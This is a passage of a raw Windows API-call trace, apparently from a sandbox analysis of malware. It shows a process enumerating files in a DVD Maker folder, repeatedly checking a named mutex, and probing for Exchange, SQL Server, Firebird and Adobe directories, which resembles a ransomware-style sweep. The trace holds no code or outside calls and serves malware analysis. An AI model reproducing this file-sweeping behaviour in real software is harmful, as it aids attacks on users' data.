0x440004 [0058.743] GlobalUnlock (hMem=0x440004) returned 0 [0058.743] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.743] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.743] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.743] GlobalUnlock (hMem=0x440004) returned 0 [0058.743] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.743] GlobalUnlock (hMem=0x44000c) returned 0 [0058.744] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.744] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0058.744] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.744] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.744] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.744] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.744] GlobalUnlock (hMem=0x44000c) returned 0 [0058.744] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.744] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.744] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.744] GlobalUnlock (hMem=0x44000c) returned 0 [0058.744] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.744] GlobalUnlock (hMem=0x440004) returned 0 [0058.744] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.744] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0058.744] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.744] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.744] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.744] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.744] GlobalUnlock (hMem=0x440004) returned 0 [0058.744] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.744] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.744] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.744] GlobalUnlock (hMem=0x440004) returned 0 [0058.744] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.744] GlobalUnlock (hMem=0x44000c) returned 0 [0058.744] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.745] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0058.745] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.745] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.745] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.745] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.745] GlobalUnlock (hMem=0x44000c) returned 0 [0058.745] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.745] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.745] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.745] GlobalUnlock (hMem=0x44000c) returned 0 [0058.745] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.745] GlobalUnlock (hMem=0x440004) returned 0 [0058.745] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.745] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0058.745] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.745] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.745] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.745] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.745] GlobalUnlock (hMem=0x440004) returned 0 [0058.745] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.745] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.745] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.745] GlobalUnlock (hMem=0x440004) returned 0 [0058.745] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.745] GlobalUnlock (hMem=0x44000c) returned 0 [0058.745] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.745] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0058.745] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.746] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.746] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.746] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.746] GlobalUnlock (hMem=0x44000c) returned 0 [0058.746] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.746] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.746] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.746] GlobalUnlock (hMem=0x44000c) returned 0 [0058.746] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.746] GlobalUnlock (hMem=0x440004) returned 0 [0058.746] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.746] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0058.746] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.746] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.746] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.746] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.746] GlobalUnlock (hMem=0x440004) returned 0 [0058.746] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.746] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.746] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.746] GlobalUnlock (hMem=0x440004) returned 0 [0058.746] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.746] GlobalUnlock (hMem=0x44000c) returned 0 [0058.746] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.746] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0058.746] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.746] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.747] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.747] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.747] GlobalUnlock (hMem=0x44000c) returned 0 [0058.747] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.747] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.747] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.747] GlobalUnlock (hMem=0x44000c) returned 0 [0058.747] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.747] GlobalUnlock (hMem=0x440004) returned 0 [0058.747] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.747] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0058.747] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.747] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.747] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.747] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.747] GlobalUnlock (hMem=0x440004) returned 0 [0058.747] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.747] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.747] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.747] GlobalUnlock (hMem=0x440004) returned 0 [0058.747] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.747] GlobalUnlock (hMem=0x44000c) returned 0 [0058.747] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.747] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0058.747] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.747] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.747] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.747] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.747] GlobalUnlock (hMem=0x44000c) returned 0 [0058.748] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.748] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.748] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.748] GlobalUnlock (hMem=0x44000c) returned 0 [0058.748] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.748] GlobalUnlock (hMem=0x440004) returned 0 [0058.748] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.748] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0058.748] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.748] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.748] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.748] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.748] GlobalUnlock (hMem=0x440004) returned 0 [0058.748] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.748] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.748] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.748] GlobalUnlock (hMem=0x440004) returned 0 [0058.748] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.748] GlobalUnlock (hMem=0x44000c) returned 0 [0058.748] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.748] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0058.748] GetLastError () returned 0x12 [0058.748] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.749] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0058.749] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.749] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.749] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.749] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.749] GlobalUnlock (hMem=0x44000c) returned 0 [0058.749] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.749] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.749] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.749] GlobalUnlock (hMem=0x44000c) returned 0 [0058.749] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.749] GlobalUnlock (hMem=0x440004) returned 0 [0058.749] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.749] GlobalLock (hMem=0x440004) returned 0x550170 [0058.749] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.749] GlobalUnlock (hMem=0x440004) returned 0 [0058.749] GlobalLock (hMem=0x440004) returned 0x550170 [0058.749] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.749] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.749] GlobalUnlock (hMem=0x440004) returned 0 [0058.749] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.749] GlobalUnlock (hMem=0x44000c) returned 0 [0058.749] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.750] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", len=0x35 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall") returned 1 [0058.750] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.750] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.750] GlobalUnlock (hMem=0x44000c) returned 0 [0058.750] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.750] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.750] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.750] GlobalUnlock (hMem=0x44000c) returned 0 [0058.750] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.750] GlobalUnlock (hMem=0x440004) returned 0 [0058.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꓄R꒘R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0058.750] GetLastError () returned 0x3 [0058.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@ꐬR企@\x18䄌Q\x181")) returned 0xffffffff [0058.751] GetLastError () returned 0x2 [0058.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0058.751] GetLastError () returned 0x2 [0058.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@夜U企@\x18?T\x18D")) returned 0xffffffff [0058.751] GetLastError () returned 0x2 [0058.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@ꐬR企@\x18蔴T\x18j")) returned 0xffffffff [0058.751] GetLastError () returned 0x2 [0058.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@夜U企@\x18?T\x18q")) returned 0xffffffff [0058.752] GetLastError () returned 0x2 [0058.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\蔰TP") returned 6 [0058.752] 